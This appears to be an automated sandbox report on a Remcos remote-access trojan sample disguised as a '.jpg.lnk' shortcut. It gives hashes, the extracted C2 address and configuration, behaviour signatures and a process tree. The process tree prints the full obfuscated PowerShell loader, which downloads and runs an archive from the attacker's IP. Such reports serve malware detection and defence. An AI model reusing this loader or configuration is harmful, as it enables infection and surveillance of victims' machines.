Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/08/2024, 11:11

General

  • Target

    telegrama_ksv_po_btgr.jpg.lnk

  • Size

    691KB

  • MD5

    27fea6f5fbaffbbf1479cd9dfa9604fa

  • SHA1

    ffe89c8b62b0faf639b056972db1a1974c53efa0

  • SHA256

    df7d2e54b67a7788dd7c326a6c2a1c5b935b94288622fb7bbeff3ba336205cd7

  • SHA512

    e901089462cd9d54f6de3d98ddaf10d94a3b1dc8ad5fb48f7facf0e3b8afcd97aa0caf3616f6548dcc3bb7e1eb8d6bc476bb8387c7cb0f689d0bab023c5deba5

  • SSDEEP

    48:8xmuavUQSsejrK5053YMEDo//pxCMGopDDo/39OKXJa7x:8xy86enc+3hX/pxC530KXJQ

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

C2

83.222.191.201:24251

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-XTJ1YO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 8 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\telegrama_ksv_po_btgr.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4272
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo LCgtGMtcQQJaJlfGEbTWGQtHPnXvshSydqPjdadyHUqlchGjSeaWM; echo oIhdvwvvpCFrPXEuFwytiupeuuztBsyBbTIlLfifAJQuXhxp; echo HOoXHdZuZstQdflDScvNdstDTjusTXRkquolxTidEJXSlFbSdEjjTwx; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo jrJBbRkXWBdTmxLNkFmKcFkZNZRRTGZzEWLuBEZHNAvBPkncUoAZKvCdHl; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo JuhGhuKkmGFuLZMyQwPXHdhWkLqUpKudPsEClUijthIIp; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/telegrama_ksv_po_btgr.jpg -OutFile telegrama_ksv_po_btgr.jpg; echo CndnhqGwRKEgfnUJozdJravfXsLW; s''t''a''rt telegrama_ksv_po_btgr.jpg
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3064
      • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
        "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4280
        • C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2556
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:3920
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2300

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\7358c33

    Filesize

    1.2MB

    MD5

    9da52ba4dad8d50ea1e8b29f25b576a8

    SHA1

    91b223332dcf4b11307914df66cdf7b537c59cd4

    SHA256

    3c67d0031c2d6cedbe2e9b2d07511c082e41dec3b435e955d29e42619fd9589e

    SHA512

    e753c512c405f4f6e813e1eb4be21a0ee5266502883a4d5f7ed633b97abb90442839d26259ffa756db595fc4f415037639f7dc3c643d8f7eb3f948fd826007d1

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vftbamjg.arv.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

    Filesize

    2.1MB

    MD5

    db7e67835fce6cf9889f0f68ca9c29a9

    SHA1

    5565afda37006a66f0e4546105be60bbe7970616

    SHA256

    dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

    SHA512

    bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

    Filesize

    1.1MB

    MD5

    59c15c71fd599ff745a862d0b8932919

    SHA1

    8384f88b4cac4694cf510ca0d3f867fd83cc9e18

    SHA256

    c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

    SHA512

    be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

    Filesize

    1.4MB

    MD5

    6fdb2e9ca6b7a5ad510e2b29831e3bc8

    SHA1

    4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

    SHA256

    f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

    SHA512

    d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

    Filesize

    31KB

    MD5

    5dc69a3e2fda6cb740f363ef77edcc13

    SHA1

    c177fabf17346531e07d562be11915bf2822148a

    SHA256

    7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

    SHA512

    b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

  • C:\Users\Admin\AppData\Roaming\SecurityCheck\nywrof

    Filesize

    1.0MB

    MD5

    471076308d78944d45ab35d37134134a

    SHA1

    05cf2cf6e5d11ce10425b14d68cda3246cc47263

    SHA256

    38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

    SHA512

    7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

  • memory/2300-100-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-104-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-95-0x00007FF9A17F0000-0x00007FF9A19E5000-memory.dmp

    Filesize

    2.0MB

  • memory/2300-102-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-99-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-103-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-108-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-105-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-96-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-101-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-107-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2300-106-0x0000000000340000-0x00000000003C3000-memory.dmp

    Filesize

    524KB

  • memory/2556-85-0x00000000743F0000-0x000000007456B000-memory.dmp

    Filesize

    1.5MB

  • memory/2556-83-0x0000000002B30000-0x0000000002C4E000-memory.dmp

    Filesize

    1.1MB

  • memory/2556-82-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/2556-84-0x0000000002E90000-0x0000000003002000-memory.dmp

    Filesize

    1.4MB

  • memory/2556-69-0x0000000002B30000-0x0000000002C4E000-memory.dmp

    Filesize

    1.1MB

  • memory/2556-76-0x00000000743F0000-0x000000007456B000-memory.dmp

    Filesize

    1.5MB

  • memory/2556-73-0x0000000002E90000-0x0000000003002000-memory.dmp

    Filesize

    1.4MB

  • memory/2556-77-0x00007FF9A17F0000-0x00007FF9A19E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3064-20-0x000001E0A97D0000-0x000001E0A97E2000-memory.dmp

    Filesize

    72KB

  • memory/3064-81-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

    Filesize

    10.8MB

  • memory/3064-21-0x000001E0A97C0000-0x000001E0A97CA000-memory.dmp

    Filesize

    40KB

  • memory/3064-19-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

    Filesize

    10.8MB

  • memory/3064-18-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

    Filesize

    10.8MB

  • memory/3064-17-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

    Filesize

    10.8MB

  • memory/3064-2-0x00007FF9837D3000-0x00007FF9837D5000-memory.dmp

    Filesize

    8KB

  • memory/3064-15-0x00007FF9837D3000-0x00007FF9837D5000-memory.dmp

    Filesize

    8KB

  • memory/3064-14-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

    Filesize

    10.8MB

  • memory/3064-13-0x00007FF9837D0000-0x00007FF984291000-memory.dmp

    Filesize

    10.8MB

  • memory/3064-3-0x000001E0A9720000-0x000001E0A9742000-memory.dmp

    Filesize

    136KB

  • memory/3920-91-0x00007FF9A17F0000-0x00007FF9A19E5000-memory.dmp

    Filesize

    2.0MB

  • memory/3920-93-0x00000000743F0000-0x000000007456B000-memory.dmp

    Filesize

    1.5MB

  • memory/4280-63-0x0000000000400000-0x0000000000669000-memory.dmp

    Filesize

    2.4MB

  • memory/4280-65-0x0000000002FC0000-0x0000000003132000-memory.dmp

    Filesize

    1.4MB

  • memory/4280-64-0x0000000002C60000-0x0000000002D7E000-memory.dmp

    Filesize

    1.1MB

  • memory/4280-54-0x00007FF9A17F0000-0x00007FF9A19E5000-memory.dmp

    Filesize

    2.0MB

  • memory/4280-53-0x00000000743F0000-0x000000007456B000-memory.dmp

    Filesize

    1.5MB

  • memory/4280-50-0x0000000002FC0000-0x0000000003132000-memory.dmp

    Filesize

    1.4MB

  • memory/4280-46-0x0000000002C60000-0x0000000002D7E000-memory.dmp

    Filesize

    1.1MB